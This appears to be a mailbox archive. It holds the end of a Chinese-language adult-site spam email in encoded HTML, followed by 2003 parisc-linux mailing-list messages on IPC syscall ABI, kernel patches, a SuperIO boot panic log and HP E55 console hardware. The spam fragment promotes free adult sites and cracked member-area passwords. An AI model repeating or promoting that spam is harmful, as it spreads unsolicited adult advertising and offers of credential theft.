"#009966">(wwwmw.126.com)</FONT></A><FONT COLOR=3D"#0000FF"> 
</FONT></TD><TD ROWSPAN=3D"2" WIDTH=3D"12%"><DIV ALIGN=3D"CENTER"><A HREF=3D=
"http://www.websamba.com/winmm/bbs1"><IMG SRC=3D=
"http://members.lycos.co.uk/tixo/shuqi/hiumin/hiumin_hiumin03.jpg" BORDER=3D=
"0" ALT=3D"=B8=FC=BA=C3=B5=C4=B6=AB=CE=F7=D4=DA=C2=DB=CC=B3"></A><br><FONT =
SIZE=3D"2">=A1=FB=D6=DC=BB=DB=C3=F4=A1=FA<br><br><A HREF=3D=
"http://wwwmw.126.com"><FONT COLOR=3D"#FF0000">=B8=FC=B6=E0=D0=B4=D5=E6&gt;=3D=
&gt;</FONT></A></FONT></DIV></TD></TR><TR><TD WIDTH=3D"88%"><P> 
&nbsp;<B><FONT SIZE=3D"2">=CD=F8=D5=BE=B0=E6=B1=BE=A3=BA</FONT></B><FONT =
SIZE=3D"2"> =B5=DA=C8=FD=B4=CE=B8=C4=B0=E6(=C3=BF=CC=EC=B8=FC=D0=C2=A3=BA=
<FONT COLOR=3D"#FF0000">=CC=E1=CA=BE=A3=BA<A HREF=3D=
"http://tpwin.126.com"><FONT COLOR=3D"#0033FF">=B6=A5=BC=B6=B5=E7=D3=B0=D4=DA=
=A1=BA=CF=DE=D6=C6=BC=B6=D3=B0=CA=D3=C7=F8=A1=BB</FONT></A></FONT>)<BR> 
&nbsp;<B>=E4=AF=C0=C0=B7=B6=CE=A7=A3=BA</B> =B3=C9=C4=EA=CD=F8=C3=F1(=CD=EA=C8=
=AB=C3=E2=B7=D1)<BR> &nbsp;<B>=CD=C6=BC=F6=D6=B8=CA=FD=A3=BA</B> =A1=EF=A1=EF=
=A1=EF=A1=EF=A1=EF=A1=EF=A1=EF=A1=EF=A1=EF=A1=EF&nbsp;&nbsp; <BR> &nbsp;<B>=CD=
=F8=D5=BE=C0=E0=B1=F0=A3=BA 
</B>=D7=DB=BA=CF=A3=A8=C3=E2=B7=D1=A3=A9&nbsp;&nbsp; <B>=CF=E0=B9=D8=CD=F8=A3=
=BA</B><A HREF=3D"http://tixo.126.com">http://tixo.126.com</A><BR> =
&nbsp;<B>=D5=BE=B5=E3=CB=B5=C3=F7=A3=BA<BR></B><BR> &nbsp;&nbsp;&nbsp;=B8=F7=
=CA=BD=B8=F7=D1=F9=B3=C9=C8=CB=CD=BC=C6=AC=CA=D5=B2=D8- =B8=F7=C0=E0=C3=E2=B7=
=D1=D7=CA=D4=B4- =D4=DA=CF=DF=CA=D3=CC=FD- =B3=C9=C8=CB=D0=A6=BB=B0- =D1=DE=D0=
=C7=D0=B4=D5=E6- =CA=B1=C9=D0=CA=D6=BB=FA- =C3=D8=B7=BD=B4=F3=C8=AB- 
=B3=C9=C8=CB=BA=D8=BF=A8- =CD=F8=D2=B3=CC=D8=D0=A7- =D0=D4=B0=AE=C3=D8=F3=C5- =
=B3=AC=BC=B6=C8=D5=C0=FA- =B3=C9=C8=CB=CD=F8=D6=B7=BC=AF- =B3=C9=C8=CB=BD=BB=
=D3=D1=C1=C4=CC=EC- =CB=D1=CB=F7=D2=FD=C7=E6- =B3=C9=C8=CB=D4=DA=CF=DF=D3=CE=
=CF=B7- =B3=C9=C8=CB=CC=F9=CD=BC- =C8=CB=CC=E5=D2=D5=CA=F5- =B3=AC=BC=B6=B6=CC=
=D0=C5- 
=BC=A4=C7=E9=D0=B4=D5=E6- =CD=F8=C9=CF=D1=A7=CC=C3- =BD=F0=B0=F1=C3=F7=D0=C7- =
=B3=C9=C8=CB=BF=ED=B4=F8=D3=B0=D4=BA- =B3=C9=C8=CB=B5=E7=CC=A8=CA=D5=CC=FD- =
=B3=C9=C8=CB=B5=E7=CA=D3=D6=B1=B2=A5- =B3=C9=C8=CB=CD=F8=BB=E1=D4=B1=C7=F8=C3=
=DC=C2=EB=C6=C6=BD=E2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<A HREF=3D"http://freehost23.websamba.com/winmm/email.htm"><FONT COLOR=3D=
"#FF0000">&gt;=A1=FA=CD=C6=BC=F6=B8=F8=C4=E3=C5=F3=D3=D1&gt;=A1=FA=
</FONT></A></FONT></P></TD></TR></TABLE> 
</BODY></HTML>  
--543b1156-0d0e-4212-8bfa-5d684c28e89d--



From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Mon, 3 Nov 2003 09:59:36 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20031103085936.GB9083@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102215528.GC28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622925 983 80.91.229.3 (22 Nov 2014 02:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 02:01:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4475483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 02:01:23 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AGaaQ-0006Lx-00; Mon, 03 Nov 2003 10:01:22 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 368BE27C99; Mon,  3 Nov 2003 09:59:36 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031102215528.GC28967@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19984

On Sun, Nov 02, 2003 at 01:55:28PM -0800, Randolph Chung wrote:
> - fix glibc to pass in IPC_64 properly into the kernel from now on, 
>   2.4 will still work with current hacks.

no, 2.4 will break, because shmctl will try to fixup structs, which
don't need fixing. Please look at the code in sys_parisc.c

> - fix 2.6 to detect the IPC_64 flag and go through the "normal"
>   (arch-indep) path to figure out it should use the new structs

we only have new structs in the sense of ipc/*.c. That old stuff
is older x86 stuff, we never had. The only problem is, that we
had some broken structs, which weren't working on 64bit kernel, because
the alignment was broken.

> 2.6 is broken as it is now, so there's no 2.6 compatibility to worry
> about.

so why no just use the same way, I changed it in 2.4 ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Mon, 3 Nov 2003 09:56:01 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20031103085601.GA9083@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622925 986 80.91.229.3 (22 Nov 2014 02:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:05 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 02:01:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BF1E4852
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 02:01:24 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AGaaQ-0006Lv-00; Mon, 03 Nov 2003 10:01:22 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 7BDDB27C99; Mon,  3 Nov 2003 09:56:01 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031102225626.GF26916@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19985

On Sun, Nov 02, 2003 at 05:56:27PM -0500, Carlos O'Donell wrote:
> On Sun, Nov 02, 2003 at 10:42:00PM +0100, Thomas Bogendoerfer wrote:
> > On Sun, Nov 02, 2003 at 10:12:52AM -0800, Randolph Chung wrote:
> > > anyway, if we are only supporting IPC_64, then why mask off the IPC64
> > > bit in the wrapper? if the ipc/utils.c stuff isn't there, wouldn't it
> > > default to doing the right thing when IPC_64 is set?
> > 
> > look at the switch statements in msg.c/sem.c/shm.c. If you don't mask
> > off IPC_64, the cases don't match.
> > 
> > > right now glibc *doesn't* call the syscall with IPC_64, but i'm about to
> > > make it do that again.
> > 
> > I don't think this is a good idea, because by checking for IPC_64 we
> > could see, whether an old glibc is used and could convert structs
> > (see sys_parisc.c:sys_shmctl_broken()).
> 
> There is no such thing as that "old glibc" we have always had
> __ASSUME_IPC64. What support are we looking to preserve?

glibc 2.2.x, some weeks before woody went final. For a closer date
check the date of my sys_parisc.c commit.

Since there might be still binaries in woody, which are compiled
with an such an "old" glibc, we will break this binaries. The suggested
change is an change of the kernel ABI, so I would avoid it. The problem
with this "old" glibc was, that the structs for shmctl and friends
weren't properly aligned for 64bit. I've changed that and also decided
to get rid of IPC_64, because that's x86 crap.

Adding the 2.4 changes to the 2.6 kernel should fix everything.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: backport unaligned.c Randolph patch
Date: Mon, 3 Nov 2003 10:04:18 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <3F969FFE00005D95@ocpmta2.freegates.net>
References: <20031101193006.GA26372@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622926 989 80.91.229.3 (22 Nov 2014 02:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Randolph Chung" <randolph@tausq.org>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 02:04:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 747A2483E; Mon,  3 Nov 2003 02:04:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AGadH-0006w7-00; Mon, 03 Nov 2003 10:04:19 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 3 Nov 2003 10:04:18 +0100
In-Reply-To: <20031101193006.GA26372@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19986

Hi Grant,

In fact I didn't discusse of this patch (which effectively remove code) with
Randolph but I back-port in confidence because it remember me a problem I
encounter when I suggest the "traps.c alignement" [1] to Carlos:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-October/021229.html>

In the same time I was looking for Sukyo bug in 2.6 and point out that the
previous patch [1] make hang the system in place of the crash (due to a division
by zero).

May be my conclusion was erronious: "force_sig_info() would 'schedule'
a SIGFPE. But in this very particular situation of the early boot, imho the
scheduler is not yet launched." (Right/Wrong?)

Anyway I so suggest another patch:<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-October/021251.html>

; which essentialy bypass force_sig_info() in kernel mode. But I presume
that Carlos don't yet ci this patch because he is looking for a better solution
in that special case (I don't know if it is possible to lauch the scheduler
earlier?).

Thanks in advance for all advise,
    Joel
 


>-- Original Message --
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Randolph Chung <randolph@tausq.org>
>Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
>Date: Sat, 1 Nov 2003 12:30:06 -0700
>Subject: Re: [parisc-linux] Re: backport unaligned.c Randolph patch
>
>
>On Sat, Nov 01, 2003 at 09:32:15AM -0800, Randolph Chung wrote:
> I think your mailer munged your patch, it doesn't apply cleanly. i've
> applied a cleaned up version of your patch to 2.4.

Was the intent to add new code?
The patch was reversed it
>seems too.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Mon, 3 Nov 2003 10:11:59 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <3F969FFE00005DB3@ocpmta2.freegates.net>
References: <20031102202228.GA26145@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622926 992 80.91.229.3 (22 Nov 2014 02:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 02:12:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF646483E
	for <parisc-linux@parisc-linux.org>; Mon,  3 Nov 2003 02:12:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AGaki-0007S8-00; Mon, 03 Nov 2003 10:12:00 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 3 Nov 2003 10:11:59 +0100
In-Reply-To: <20031102202228.GA26145@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19987

Carlos,

Yes it didn't crash anymore :)

But I didn't have more opportunity to reboot severall time this c110 to make
more test (the only difference between the two previous one: the first was
a reboot, the second was a boot? and absolutley no other changes).

Cheers,
    Joel


>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Date: Sun, 2 Nov 2003 15:22:28 -0500
>Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
>do_page_fault?]
>
>
>On Sat, Nov 01, 2003 at 11:27:20PM +0000, Joel Soete wrote:
> Hi Carlos,
> 
> I don't understand anymore anything.
> 
> This afternoon i recompile k 2.4.23-pre9-pa13 + Randolph patch to test
> it. (Ok)
> 
> So I launch evolution which crash at 
>he same place as usual.
> 
> After the diner I restart this c110 with this new kernel but this time,
> no more "do_page_fault() pid=805 command='evolution' type=7". I restart
> it severall time no means to reproduce anymore :(

So it doesn't cras
> anymore? :) 

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] SuckyIO still doesn't work
Date: Mon, 3 Nov 2003 15:50:22 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <3F969FFE000062C9@ocpmta2.freegates.net>
References: <20031022063943.GA30984@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622926 993 80.91.229.3 (22 Nov 2014 02:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 07:50:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2851C483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 07:50:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AGg2B-0006Sk-00; Mon, 03 Nov 2003 15:50:23 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 3 Nov 2003 15:50:22 +0100
In-Reply-To: <20031022063943.GA30984@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19988

Hi Grant,


> Current patch on ftp.p-l.o:patches/diff-2.6.0-suckyio-serial-03

I apply your patch against 2.6.0-test9-pa4 but not yet boot on the b2k  :(
I stopped at another place now and not any more on a div by zero:
[...]
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
superio_probe(0000:00:0e.0) ven 0x100b dev 0x2 sv 0x0 sd 0x0 class 0x1018a
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
superio_probe: IDE 87415
superio_probe(0000:00:0e.1) ven 0x100b dev 0xe sv 0x0 sd 0x0 class 0x68000
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Registering serial 0
Registering serial 1
superio_probe(0000:00:0e.2) ven 0x100b dev 0x12 sv 0x0 sd 0x0 class 0xc0310
superio_probe: USB OHCI controller
Soft power switch enabled, polling @ 0xf0400804.
pty: 256 Unix98 ptys configured
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at I/O 0x3f8 (irq = 99) is a 16550A
flags= 0 (uart_get_baud_rate() ).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
[...]
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 504k freed
      _______________________________ 
     < Your System ate a SPARC! Gah! >
      ------------------------------- 
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Breakpoint (code 0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 103eb800 101f83d8 0000001c
r04-07  00000063 10216a60 00000000 1034e4a4
r08-11  00000002 0098963a 4df21500 10461844
r12-15  3b9aca00 1038f810 10461810 f0400004
r16-19  f00008c4 f000017c f0000174 00000000
r20-23  00000003 00000000 101f8380 1034e4a4
r24-27  000000d3 00000003 10396d28 10378010
r28-31  00000060 1fe5f940 10718580 10107014
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 103ebdbc 103ebdc0
 IIR: 00000000    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 10718000 CR31: 103d1000
 ORIG_R28: 1fe9a48c
 IAOQ[0]: superio_init+0x0/0x410
 IAOQ[1]: superio_init+0x4/0x410
 RP(r2): superio_enable_irq+0x58/0x84
Kernel panic: Attempted to kill init!
 
But I never encounter such do_page_fault().

Thanks in advance for additional help,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console on HP 9000 E55
Date: Mon, 03 Nov 2003 18:00:00 +0100
Organization: private
Lines: 69
Approved: news@gmane.org
Message-ID: <3FA68990.4030803@gmx.at>
References: <20031101200941.5c474aba.jean-marc.harang@laposte.net>	<200311011959.hA1Jxxi29314@opus.allegro.com> <20031101223409.44119ba9.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622927 995 80.91.229.3 (22 Nov 2014 02:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jean-marc Harang <jean-marc.harang@laposte.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 10:00:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id F28A7483E
	for <parisc-linux@parisc-linux.org>; Mon,  3 Nov 2003 10:00:02 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20031103170001.SPOB8939.viefep13-int.chello.at@gmx.at>;
          Mon, 3 Nov 2003 18:00:01 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19989

Hello,

I think, you miss an important thing !

I also have an E55 with an MDP panel, the thing having 8xDB25 ports
(8x RS232). This MDP panel has a 9-pin connector as connection to the
E55. So this 9-pin connector seems to be a "high"-speed bus for all
8 serial ports !

So you really need a MDP or DDP panel to connect the up to 16 serial
ports.

I do not know another way ....

BTW, how do you boot the HP-UX ?
Blind ?
Only use is per telnet/rsh after it is up ?

Christoph Plattner



Jean-marc Harang wrote:
> Le Sat, 1 Nov 2003 11:59:59 -0800 (PST)
> Stan Sieler <sieler@allegro.com> a crit:
> 
> 
>>Hi,
>>
